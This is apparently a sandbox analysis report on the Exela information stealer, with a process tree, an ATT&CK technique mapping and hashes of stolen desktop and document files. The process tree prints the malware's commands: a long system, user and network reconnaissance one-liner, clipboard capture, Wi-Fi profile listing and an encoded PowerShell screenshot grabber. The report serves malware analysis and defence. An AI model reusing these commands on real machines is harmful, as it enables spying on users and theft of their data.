  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5016
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:2004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2012
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c chcp
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5072
    - - C:\Windows\system32\chcp.com
        
        chcp
        5⤵
        
        PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
    3⤵
    - Network Service Discovery
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:1396
  - - C:\Windows\system32\HOSTNAME.EXE
      hostname
      4⤵
      PID:4160
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get caption,description,providername
      4⤵
      Collects information from the system
      PID:2176
  - - C:\Windows\system32\net.exe
      net user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1680
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        5⤵
        
        PID:3212
  - - C:\Windows\system32\query.exe
      query user
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2608
    - - C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        5⤵
        
        PID:1068
  - - C:\Windows\system32\net.exe
      net localgroup
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3976
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        5⤵
        
        PID:3152
  - - C:\Windows\system32\net.exe
      net localgroup administrators
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3144
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        5⤵
        
        PID:1212
  - - C:\Windows\system32\net.exe
      net user guest
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3392
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        5⤵
        
        PID:5012
  - - C:\Windows\system32\net.exe
      net user administrator
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        5⤵
        
        PID:4188
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic startup get caption,command
      4⤵
      PID:1996
  - - C:\Windows\system32\tasklist.exe
      tasklist /svc
      4⤵
      Discovers running processes
      PID:3412
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:3080
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:3788
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:2920
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:1520
  - - C:\Windows\system32\sc.exe
      sc query type= service state= all
      4⤵
      Launches sc.exe
      PID:1684
  - - C:\Windows\system32\netsh.exe
      netsh firewall show state
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4468
  - - C:\Windows\system32\netsh.exe
      netsh firewall show config
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:2144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1440
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:4140
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dywzv5j4\dywzv5j4.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4976
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES72E9.tmp" "c:\Users\Admin\AppData\Local\Temp\dywzv5j4\CSC888E390E5CA34407BFABA09056C388F8.TMP"
        6⤵
        
        PID:1676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    PID:2536
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:1072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Account Manipulation

T1098

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BackupUnregister.ppt

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\BackupUnregister.ppt
Size 345KB
SHA256 5444c88aec5f8876fc1a779ce9b69666126b26d84017c51cf67614738f5310fb
MD5 73f6d2c20a62fca445f4a46b4ac43aee
SHA1 1dc83b0d022c692c5e6a3b0c4b86545b77ba2697
SHA512 9ca24a8c2749d889a1611de3330ed08415066042f1d05e1be2fc27aa35a4b9f4004ee7d29b8299497ecae695487bc6824e82d2a890dd0e6bb5f415828309f89e
SSDEEP 6144:B4VXMztKoK3m3yNTlYVvmqPCuLJuYt3h9Z0YWslANKM6NF:B4VXgtKofthOy5MsF
TLSH
T1057423315AD10AC83F0E1B63EEA80576B585F0D41F9F139755D33909ABB08964F48EEA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClearBackup.xlt

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ClearBackup.xlt
Size 379KB
SHA256 d29fb1ae3b6f6d3bf4a97732827e05184261775ff2e9680a5d2d8dadb0b1e855
MD5 f4788221b7a2f61f53934cd719e74fef
SHA1 f676dfe8ecb98971f22b8ca9ee9c15f5f94144c9
SHA512 ef708fe0293fe8aabb99415e45ab89c28220ed9b390a637ae3c8732e2ee1b14222520d4d9c9d676f35b015401163bd51ae3d4b48816c83c0b98c246e0c7a890b
SSDEEP 6144:r8Qt6imKHJ48//+4QIj+AZxAOp7z4HMQ0eoNxnAMoSFv6y7kXunw1E:wQwkHJhH+x0TPNp7z4sQ0e41Yqv6y7km
TLSH
T1B7842373C0D58BD325EF938802A184FCBFA2528EB634F5C2F54571A726B9287E50AC71
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ConnectDebug.xlsx

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ConnectDebug.xlsx
Size 13KB
SHA256 40ff0886db48ffb9e521b9434d8d53f76a2176a5cc2de9ddff527ab86c1bc107
MD5 7386ac3947d05787f08f83078c7be2d1
SHA1 44e211b5225b31355371c4bd00a9abeb445247f5
SHA512 688def62e6daf9203cad43d349c60c0b40485cf909d088e7bd51bafb6015700a166ca30df09d2d16575b74d4d0a3ef0f09e1cbae527c881917a7e00cad074292
SSDEEP 384:wc39Rv3FV//EzhUlM9z6p6pWOpNZorNPB/Raooe:w8t/ElxWpyWOpNZorTRf9
TLSH
T1A552AF0AA57590F9C35F483E515D04F9B20CE080BA95391A3C26E39D4B811E743FB9F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ExpandConfirm.xlsx

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ExpandConfirm.xlsx
Size 13KB
SHA256 391fd9fd4d0c127cb9666586248e25fe08e161ca4aab4f7a7ff7ba13d9a9e69e
MD5 179fc0f3556c312c8464edd5e2724de3
SHA1 681c51221c78595b249dd4bf314a626aeb85cd7e
SHA512 3015cee7777f1a99f8a27e8c416d584f82eb6b242ac79be2adde8817780b9d1a71b3523ae5f576e252ab32efb0c67a6c379119f55b91db62feb58b773a5b9fe2
SSDEEP 192:wc8mVBl8hb3Uxtq0y4PC1waFUlbVvevUqzQXpS0F0t8n9kmJLDOksfsQlZaor:wc3d8Z3AtinUlM9z6pKtS9k2Li9Zaor
TLSH
T124526D85F0267726C83BAD398BA618F362DD70714E833BD9BC24B71656110A61B9724F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ExpandPing.docx

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\ExpandPing.docx
Size 14KB
SHA256 c81d863538a5da6ece74868de5a428c7b1fc869bbdbc99c6964813d528dbb3b9
MD5 b703053db3243c20aee30539a97f2cef
SHA1 787ca04862f9da0870df199facecfcbc23770701
SHA512 d2c45e2aa9b86d087e994e1818fb87476bc4e851db14222445a0037f36ede06c24028a23051c836ab7a8e15078cbb5d6ee8f5c82ab6b74d2c1464e6ab3d3ea3b
SSDEEP 192:Ct0hCfnbJOaIPG5m1KfICCNxtpgoZ22NNsFr6feTWNGFHBEeORw7:aLfnbJh1kaIdNxt/ZtNNsFrAIFHIRw7
TLSH
T1A962AEB5FB10B830EBD34ABEA05A02F6D449904339439547318E7BDE4B76EA65307D8E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

InvokeShow.docx

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\InvokeShow.docx
Size 13KB
SHA256 ef7228737ca7a0213ce3d0d756f85f9ebfe347a5aea8409609e56afa0bf216f3
MD5 d8162abc7e66ab46c5b9164c9dce9c5e
SHA1 ed65f808399c4677acf5b8df48ccd4a62ad34f2d
SHA512 dcfa9d21fbeea3eba6da9c7fe15b58e68a254ca253394ff7d610c4cce6ea130e553f603b2c4399ccb33da9761ae1e4f9023537bb9384400a328fbdc7e68db125
SSDEEP 384:ax8Y0Ql0eidNxt/ZtNN1DCnIFHsM8cM9J:4Hl0emxllN1DiItBMv
TLSH
T1B752AF38D704A820EA638A3CD05D31F6F8194155B751E4AB318EF68F6325BE74B279CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UnregisterInvoke.zip

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\UnregisterInvoke.zip
Size 446KB
SHA256 520afd2e0ba3efeba92d02a7232fbc186e15b8facf4b0579a86f833a52fe8273
MD5 fb7be3da0ed38df3741124917f8fb6ff
SHA1 56fde63555a1b3d178c607fec894d9c557f09f6c
SHA512 4b98c18f636354e76b61ae8dbd2c62b933faca5970b2981abdca39b05a770503a003cdadccf19f23146c6bb10a7888cdb01fafe0febf16992711d5e8628019a2
SSDEEP 6144:qw4SgUam8lh6nn6q1Lzwx6xVFrvk4/pD66Bez8IRiMWMTNBBLTdkWOYhsnEtkqEX:HgUEm6qhzz17/lWjwbMhBVTESsEt3EM8
TLSH
T103A423514719E199E124836DE3FE83CAD49D9A249C8CF6F3190FC97021B49EF489A1FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WriteReset.jpg

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Desktop\WriteReset.jpg
Size 311KB
SHA256 926f8d56abf844b08c7fbccdb4fa5fe9da7a65ed21f5952cdc43afcda16ca8d2
MD5 c25217e37771f7f404677ee15c149aaf
SHA1 b7246876e3402135c394c546c99590d4d6f8ff66
SHA512 8c2fe809fb35c86eaec821d3aadf97a809da663616ddb358e62d82fcbe03902b495ae6bbb53598fe3e2f166edf38f685ff103c71c4e7f87ecf5d0edcb7381c56
SSDEEP 6144:PpiR3LtcG7azc4Ux2iSCq/BWXCdI5Awa1LG5ICE/nm/PPO4+jsBmcV9BO:QahzKkN/dAADLdCsnm/XOD+DE
TLSH
T1566423D982A2D77D53F658B470989C1E13AEA749E62C9E7A70EC3336C2C521270D4E73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

FormatEnable.doc

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\FormatEnable.doc
Size 410KB
SHA256 7ca44382d738e92e3d1f6b7399ae1e3ce6eb6251952e46d68d2ec219c18afbda
MD5 086da8f722a653390ac1c52ead6f63e6
SHA1 b9a4cd7ab13f5450801f2122e54fc6478cc7f657
SHA512 cbe6f9426eb65cae345f2ffe5ac2dd35b9e61fd9814ab3b5480c31631344944c9568d7a2c5bdc26a0cd1345a1628d9d68151ef04803fc84474e7f5aa55c7ae31
SSDEEP 12288:IuIsRzHIygl0J3XX7He+rm9XgaZrwuVE4:Idb5sXX7HzKwCvP
TLSH
T19B942342B81AC4D48C34EEB528B07155503FEF23388EF699FA9753BD9ADBA07012B715
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

GetDisconnect.docx

Path C:\Users\Admin\AppData\Local\Temp\StealedFilesByExela\Documents\GetDisconnect.docx
Size 383KB
SHA256 d82a87597b4be36a0564391e1289e993046511242449e48b5aebb102129e7f93
MD5 7bbde73e9998b7af22502c46e50520ef
SHA1 76bcbf8fc59ba22efb6347df56aea51538abf5c7
